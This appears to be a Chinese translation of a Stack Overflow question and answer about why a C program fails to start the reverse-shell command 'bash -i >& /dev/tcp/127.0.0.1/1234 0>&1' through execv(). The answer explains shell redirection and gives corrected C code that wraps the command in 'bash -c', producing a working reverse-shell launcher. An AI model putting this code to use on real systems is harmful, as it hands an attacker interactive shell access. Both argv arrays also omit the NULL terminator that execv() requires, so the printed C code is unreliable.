我知道上面标题的某些部分已经被问过,但我仍然有一些困惑。实际上,我并没有真正理解 bash -i >&/dev/tcp/127.0.0.1/1234 0>&1 中的 ">&" 我的主要目标是编译以下代码:
*#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char *prog = "/bin/bash";
/*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
char *args[5] = {"/bin/bash", "-i", ">&", "/dev/tcp/127.0.0.1 /1234","0>&1"};
execv(prog, args);
return 0;
}
它被编译,但是当我执行相应的二进制文件时,它返回以下错误: bash: >&: 没有这样的文件或目录
任何解释都将非常感激;)!
最佳答案
当你运行时:
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
在命令提示符下,您当前的 shell(显示提示并等待命令的 shell)会解释重定向。
当您使用 exec*()
之一运行外部程序时函数中没有 shell 来解析命令行并解释重定向。 execv()
启动 bash
,并将命令行的其余部分作为参数。
bash
的命令行是:
bash options file
其中选项以破折号 (-
) 开头。
它可能会成功解释 -i
,因为 >&
不是以破折号(-
)开头,它认为它是一个文件名。它找不到这样的文件,报告错误">&:没有这样的文件或目录"并退出。
您应该使用 system()
启动 shell 并为其提供整个命令行,或 popen()
(它还允许您在新进程启动后将一些输入传递给它)。
这两个函数都会创建一个新进程。由于您的原始代码使用 execv()
且 exec*()
函数用新进程替换当前正在运行的进程,因此您可能应该 exit()
启动新进程后获取当前行为。
使用 execv()
启动以下命令也可能会产生您期望的结果(我没有测试):
bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"
在 C 中:
char *prog = "/bin/bash";
char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
execv(prog, args);
关于c - bash -i >&/dev/tcp/127.0.0.1/1234 0>&1,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36022331/